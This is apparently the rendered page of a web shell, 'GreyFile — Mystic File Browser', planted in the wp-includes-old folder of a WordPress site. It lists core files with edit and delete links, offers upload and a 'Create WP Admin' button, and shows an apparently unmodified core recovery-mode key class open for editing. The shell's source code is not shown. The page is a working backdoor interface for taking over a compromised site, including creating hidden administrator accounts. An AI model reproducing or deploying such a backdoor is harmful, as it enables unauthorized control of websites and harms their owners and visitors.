?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
wdp
/
wp-includes-old
/
?? Create WP Admin
??
Go up: /home/webdevt/www/wdp
?? Editing: class-wp-recovery-mode-key-service.php
<?php /** * Error Protection API: WP_Recovery_Mode_Key_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to generate and validate keys used to enter Recovery Mode. * * @since 5.2.0 */ #[AllowDynamicProperties] final class WP_Recovery_Mode_Key_Service { /** * The option name used to store the keys. * * @since 5.2.0 * @var string */ private $option_name = 'recovery_keys'; /** * Creates a recovery mode token. * * @since 5.2.0 * * @return string A random string to identify its associated key in storage. */ public function generate_recovery_mode_token() { return wp_generate_password( 22, false ); } /** * Creates a recovery mode key. * * @since 5.2.0 * * @global PasswordHash $wp_hasher * * @param string $token A token generated by {@see generate_recovery_mode_token()}. * @return string Recovery mode key. */ public function generate_and_store_recovery_mode_key( $token ) { global $wp_hasher; $key = wp_generate_password( 22, false ); if ( empty( $wp_hasher ) ) { require_once ABSPATH . WPINC . '/class-phpass.php'; $wp_hasher = new PasswordHash( 8, true ); } $hashed = $wp_hasher->HashPassword( $key ); $records = $this->get_keys(); $records[ $token ] = array( 'hashed_key' => $hashed, 'created_at' => time(), ); $this->update_keys( $records ); /** * Fires when a recovery mode key is generated. * * @since 5.2.0 * * @param string $token The recovery data token. * @param string $key The recovery mode key. */ do_action( 'generate_recovery_mode_key', $token, $key ); return $key; } /** * Verifies if the recovery mode key is correct. * * Recovery mode keys can only be used once; the key will be consumed in the process. * * @since 5.2.0 * * @global PasswordHash $wp_hasher * * @param string $token The token used when generating the given key. * @param string $key The unhashed key. * @param int $ttl Time in seconds for the key to be valid for. * @return true|WP_Error True on success, error object on failure. */ public function validate_recovery_mode_key( $token, $key, $ttl ) { global $wp_hasher; $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) ); } $record = $records[ $token ]; $this->remove_key( $token ); if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) { return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) ); } if ( empty( $wp_hasher ) ) { require_once ABSPATH . WPINC . '/class-phpass.php'; $wp_hasher = new PasswordHash( 8, true ); } if ( ! $wp_hasher->CheckPassword( $key, $record['hashed_key'] ) ) { return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) ); } if ( time() > $record['created_at'] + $ttl ) { return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) ); } return true; } /** * Removes expired recovery mode keys. * * @since 5.2.0 * * @param int $ttl Time in seconds for the keys to be valid for. */ public function clean_expired_keys( $ttl ) { $records = $this->get_keys(); foreach ( $records as $key => $record ) { if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) { unset( $records[ $key ] ); } } $this->update_keys( $records ); } /** * Removes a used recovery key. * * @since 5.2.0 * * @param string $token The token used when generating a recovery mode key. */ private function remove_key( $token ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return; } unset( $records[ $token ] ); $this->update_keys( $records ); } /** * Gets the recovery key records. * * @since 5.2.0 * * @return array Associative array of $token => $data pairs, where $data has keys 'hashed_key' * and 'created_at'. */ private function get_keys() { return (array) get_option( $this->option_name, array() ); } /** * Updates the recovery key records. * * @since 5.2.0 * * @param array $keys Associative array of $token => $data pairs, where $data has keys 'hashed_key' * and 'created_at'. * @return bool True on success, false on failure. */ private function update_keys( array $keys ) { return update_option( $this->option_name, $keys ); } }
Save
Upload
??
Create Folder
??
Create File
??
assets
|
??? Delete
??
block-patterns
|
??? Delete
??
block-supports
|
??? Delete
??
blocks
|
??? Delete
??
certificates
|
??? Delete
??
css
|
??? Delete
??
customize
|
??? Delete
??
fonts
|
??? Delete
??
html-api
|
??? Delete
??
ID3
|
??? Delete
??
images
|
??? Delete
??
IXR
|
??? Delete
??
js
|
??? Delete
??
php-compat
|
??? Delete
??
PHPMailer
|
??? Delete
??
pomo
|
??? Delete
??
Requests
|
??? Delete
??
rest-api
|
??? Delete
??
SimplePie
|
??? Delete
??
sitemaps
|
??? Delete
??
sodium_compat
|
??? Delete
??
style-engine
|
??? Delete
??
Text
|
??? Delete
??
theme-compat
|
??? Delete
??
widgets
|
??? Delete
??
admin-bar.php
|
?? Edit
|
??? Delete
??
atomlib.php
|
?? Edit
|
??? Delete
??
author-template.php
|
?? Edit
|
??? Delete
??
block-editor.php
|
?? Edit
|
??? Delete
??
block-i18n.json
|
?? Edit
|
??? Delete
??
block-patterns.php
|
?? Edit
|
??? Delete
??
block-template-utils.php
|
?? Edit
|
??? Delete
??
block-template.php
|
?? Edit
|
??? Delete
??
blocks.php
|
?? Edit
|
??? Delete
??
bookmark-template.php
|
?? Edit
|
??? Delete
??
bookmark.php
|
?? Edit
|
??? Delete
??
cache-compat.php
|
?? Edit
|
??? Delete
??
cache.php
|
?? Edit
|
??? Delete
??
canonical.php
|
?? Edit
|
??? Delete
??
capabilities.php
|
?? Edit
|
??? Delete
??
category-template.php
|
?? Edit
|
??? Delete
??
category.php
|
?? Edit
|
??? Delete
??
class-feed.php
|
?? Edit
|
??? Delete
??
class-http.php
|
?? Edit
|
??? Delete
??
class-IXR.php
|
?? Edit
|
??? Delete
??
class-json.php
|
?? Edit
|
??? Delete
??
class-phpass.php
|
?? Edit
|
??? Delete
??
class-phpmailer.php
|
?? Edit
|
??? Delete
??
class-pop3.php
|
?? Edit
|
??? Delete
??
class-requests.php
|
?? Edit
|
??? Delete
??
class-simplepie.php
|
?? Edit
|
??? Delete
??
class-smtp.php
|
?? Edit
|
??? Delete
??
class-snoopy.php
|
?? Edit
|
??? Delete
??
class-walker-category-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-category.php
|
?? Edit
|
??? Delete
??
class-walker-comment.php
|
?? Edit
|
??? Delete
??
class-walker-nav-menu.php
|
?? Edit
|
??? Delete
??
class-walker-page-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-page.php
|
?? Edit
|
??? Delete
??
class-wp-admin-bar.php
|
?? Edit
|
??? Delete
??
class-wp-ajax-response.php
|
?? Edit
|
??? Delete
??
class-wp-application-passwords.php
|
?? Edit
|
??? Delete
??
class-wp-block-editor-context.php
|
?? Edit
|
??? Delete
??
class-wp-block-list.php
|
?? Edit
|
??? Delete
??
class-wp-block-parser-block.php
|
?? Edit
|
??? Delete
??
class-wp-block-parser-frame.php
|
?? Edit
|
??? Delete
??
class-wp-block-parser.php
|
?? Edit
|
??? Delete
??
class-wp-block-pattern-categories-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-patterns-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-styles-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-supports.php
|
?? Edit
|
??? Delete
??
class-wp-block-template.php
|
?? Edit
|
??? Delete
??
class-wp-block-type-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-type.php
|
?? Edit
|
??? Delete
??
class-wp-block.php
|
?? Edit
|
??? Delete
??
class-wp-classic-to-block-menu-converter.php
|
?? Edit
|
??? Delete
??
class-wp-comment-query.php
|
?? Edit
|
??? Delete
??
class-wp-comment.php
|
?? Edit
|
??? Delete
??
class-wp-customize-control.php
|
?? Edit
|
??? Delete
??
class-wp-customize-manager.php
|
?? Edit
|
??? Delete
??
class-wp-customize-nav-menus.php
|
?? Edit
|
??? Delete
??
class-wp-customize-panel.php
|
?? Edit
|
??? Delete
??
class-wp-customize-section.php
|
?? Edit
|
??? Delete
??
class-wp-customize-widgets.php
|
?? Edit
|
??? Delete
??
class-wp-date-query.php
|
?? Edit
|
??? Delete
??
class-wp-dependencies.php
|
?? Edit
|
??? Delete
??
class-wp-dependency.php
|
?? Edit
|
??? Delete
??
class-wp-duotone.php
|
?? Edit
|
??? Delete
??
class-wp-editor.php
|
?? Edit
|
??? Delete
??
class-wp-embed.php
|
?? Edit
|
??? Delete
??
class-wp-error.php
|
?? Edit
|
??? Delete
??
class-wp-fatal-error-handler.php
|
?? Edit
|
??? Delete
??
class-wp-feed-cache-transient.php
|
?? Edit
|
??? Delete
??
class-wp-feed-cache.php
|
?? Edit
|
??? Delete
??
class-wp-hook.php
|
?? Edit
|
??? Delete
??
class-wp-http-cookie.php
|
?? Edit
|
??? Delete
??
class-wp-http-curl.php
|
?? Edit
|
??? Delete
??
class-wp-http-encoding.php
|
?? Edit
|
??? Delete
??
class-wp-http-ixr-client.php
|
?? Edit
|
??? Delete
??
class-wp-http-proxy.php
|
?? Edit
|
??? Delete
??
class-wp-http-requests-hooks.php
|
?? Edit
|
??? Delete
??
class-wp-http-requests-response.php
|
?? Edit
|
??? Delete
??
class-wp-http-response.php
|
?? Edit
|
??? Delete
??
class-wp-http-streams.php
|
?? Edit
|
??? Delete
??
class-wp-http.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor-gd.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor-imagick.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor.php
|
?? Edit
|
??? Delete
??
class-wp-list-util.php
|
?? Edit
|
??? Delete
??
class-wp-locale-switcher.php
|
?? Edit
|
??? Delete
??
class-wp-locale.php
|
?? Edit
|
??? Delete
??
class-wp-matchesmapregex.php
|
?? Edit
|
??? Delete
??
class-wp-meta-query.php
|
?? Edit
|
??? Delete
??
class-wp-metadata-lazyloader.php
|
?? Edit
|
??? Delete
??
class-wp-navigation-fallback.php
|
?? Edit
|
??? Delete
??
class-wp-network-query.php
|
?? Edit
|
??? Delete
??
class-wp-network.php
|
?? Edit
|
??? Delete
??
class-wp-object-cache.php
|
?? Edit
|
??? Delete
??
class-wp-oembed-controller.php
|
?? Edit
|
??? Delete
??
class-wp-oembed.php
|
?? Edit
|
??? Delete
??
class-wp-paused-extensions-storage.php
|
?? Edit
|
??? Delete
??
class-wp-post-type.php
|
?? Edit
|
??? Delete
??
class-wp-post.php
|
?? Edit
|
??? Delete
??
class-wp-query.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-cookie-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-email-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-key-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-link-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode.php
|
?? Edit
|
??? Delete
??
class-wp-rewrite.php
|
?? Edit
|
??? Delete
??
class-wp-role.php
|
?? Edit
|
??? Delete
??
class-wp-roles.php
|
?? Edit
|
??? Delete
??
class-wp-scripts.php
|
?? Edit
|
??? Delete
??
class-wp-session-tokens.php
|
?? Edit
|
??? Delete
??
class-wp-simplepie-file.php
|
?? Edit
|
??? Delete
??
class-wp-simplepie-sanitize-kses.php
|
?? Edit
|
??? Delete
??
class-wp-site-query.php
|
?? Edit
|
??? Delete
??
class-wp-site.php
|
?? Edit
|
??? Delete
??
class-wp-styles.php
|
?? Edit
|
??? Delete
??
class-wp-tax-query.php
|
?? Edit
|
??? Delete
??
class-wp-taxonomy.php
|
?? Edit
|
??? Delete
??
class-wp-term-query.php
|
?? Edit
|
??? Delete
??
class-wp-term.php
|
?? Edit
|
??? Delete
??
class-wp-text-diff-renderer-inline.php
|
?? Edit
|
??? Delete
??
class-wp-text-diff-renderer-table.php
|
?? Edit
|
??? Delete
??
class-wp-textdomain-registry.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-data.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-resolver.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-schema.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json.php
|
?? Edit
|
??? Delete
??
class-wp-user-meta-session-tokens.php
|
?? Edit
|
??? Delete
??
class-wp-user-query.php
|
?? Edit
|
??? Delete
??
class-wp-user-request.php
|
?? Edit
|
??? Delete
??
class-wp-user.php
|
?? Edit
|
??? Delete
??
class-wp-walker.php
|
?? Edit
|
??? Delete
??
class-wp-widget-factory.php
|
?? Edit
|
??? Delete
??
class-wp-widget.php
|
?? Edit
|
??? Delete
??
class-wp.php
|
?? Edit
|
??? Delete
??
class-wpdb.php
|
?? Edit
|
??? Delete
??
class.wp-dependencies.php
|
?? Edit
|
??? Delete
??
class.wp-scripts.php
|
?? Edit
|
??? Delete
??
class.wp-styles.php
|
?? Edit
|
??? Delete
??
comment-template.php
|
?? Edit
|
??? Delete
??
comment.php
|
?? Edit
|
??? Delete
??
compat.php
|
?? Edit
|
??? Delete
??
cron.php
|
?? Edit
|
??? Delete
??
default-constants.php
|
?? Edit
|
??? Delete
??
default-filters.php
|
?? Edit
|
??? Delete
??
default-widgets.php
|
?? Edit
|
??? Delete
??
deprecated.php
|
?? Edit
|
??? Delete
??
embed-template.php
|
?? Edit
|
??? Delete
??
embed.php
|
?? Edit
|
??? Delete
??
error-protection.php
|
?? Edit
|
??? Delete
??
feed-atom-comments.php
|
?? Edit
|
??? Delete
??
feed-atom.php
|
?? Edit
|
??? Delete
??
feed-rdf.php
|
?? Edit
|
??? Delete
??
feed-rss.php
|
?? Edit
|
??? Delete
??
feed-rss2-comments.php
|
?? Edit
|
??? Delete
??
feed-rss2.php
|
?? Edit
|
??? Delete
??
feed.php
|
?? Edit
|
??? Delete
??
fonts.php
|
?? Edit
|
??? Delete
??
formatting.php
|
?? Edit
|
??? Delete
??
functions.php
|
?? Edit
|
??? Delete
??
functions.wp-scripts.php
|
?? Edit
|
??? Delete
??
functions.wp-styles.php
|
?? Edit
|
??? Delete
??
general-template.php
|
?? Edit
|
??? Delete
??
global-styles-and-settings.php
|
?? Edit
|
??? Delete
??
http.php
|
?? Edit
|
??? Delete
??
https-detection.php
|
?? Edit
|
??? Delete
??
https-migration.php
|
?? Edit
|
??? Delete
??
kses.php
|
?? Edit
|
??? Delete
??
l10n.php
|
?? Edit
|
??? Delete
??
link-template.php
|
?? Edit
|
??? Delete
??
load.php
|
?? Edit
|
??? Delete
??
locale.php
|
?? Edit
|
??? Delete
??
media-template.php
|
?? Edit
|
??? Delete
??
media.php
|
?? Edit
|
??? Delete
??
meta.php
|
?? Edit
|
??? Delete
??
ms-blogs.php
|
?? Edit
|
??? Delete
??
ms-default-constants.php
|
?? Edit
|
??? Delete
??
ms-default-filters.php
|
?? Edit
|
??? Delete
??
ms-deprecated.php
|
?? Edit
|
??? Delete
??
ms-files.php
|
?? Edit
|
??? Delete
??
ms-functions.php
|
?? Edit
|
??? Delete
??
ms-load.php
|
?? Edit
|
??? Delete
??
ms-network.php
|
?? Edit
|
??? Delete
??
ms-settings.php
|
?? Edit
|
??? Delete
??
ms-site.php
|
?? Edit
|
??? Delete
??
nav-menu-template.php
|
?? Edit
|
??? Delete
??
nav-menu.php
|
?? Edit
|
??? Delete
??
option.php
|
?? Edit
|
??? Delete
??
pluggable-deprecated.php
|
?? Edit
|
??? Delete
??
pluggable.php
|
?? Edit
|
??? Delete
??
plugin.php
|
?? Edit
|
??? Delete
??
post-formats.php
|
?? Edit
|
??? Delete
??
post-template.php
|
?? Edit
|
??? Delete
??
post-thumbnail-template.php
|
?? Edit
|
??? Delete
??
post.php
|
?? Edit
|
??? Delete
??
query.php
|
?? Edit
|
??? Delete
??
registration-functions.php
|
?? Edit
|
??? Delete
??
registration.php
|
?? Edit
|
??? Delete
??
rest-api.php
|
?? Edit
|
??? Delete
??
revision.php
|
?? Edit
|
??? Delete
??
rewrite.php
|
?? Edit
|
??? Delete
??
robots-template.php
|
?? Edit
|
??? Delete
??
rss-functions.php
|
?? Edit
|
??? Delete
??
rss.php
|
?? Edit
|
??? Delete
??
script-loader.php
|
?? Edit
|
??? Delete
??
session.php
|
?? Edit
|
??? Delete
??
shortcodes.php
|
?? Edit
|
??? Delete
??
sitemaps.php
|
?? Edit
|
??? Delete
??
spl-autoload-compat.php
|
?? Edit
|
??? Delete
??
style-engine.php
|
?? Edit
|
??? Delete
??
taxonomy.php
|
?? Edit
|
??? Delete
??
template-canvas.php
|
?? Edit
|
??? Delete
??
template-loader.php
|
?? Edit
|
??? Delete
??
template.php
|
?? Edit
|
??? Delete
??
theme-i18n.json
|
?? Edit
|
??? Delete
??
theme-previews.php
|
?? Edit
|
??? Delete
??
theme-templates.php
|
?? Edit
|
??? Delete
??
theme.json
|
?? Edit
|
??? Delete
??
theme.php
|
?? Edit
|
??? Delete
??
update.php
|
?? Edit
|
??? Delete
??
user.php
|
?? Edit
|
??? Delete
??
vars.php
|
?? Edit
|
??? Delete
??
version.php
|
?? Edit
|
??? Delete
??
widgets.php
|
?? Edit
|
??? Delete
??
wp-db.php
|
?? Edit
|
??? Delete
??
wp-diff.php
|
?? Edit
|
??? Delete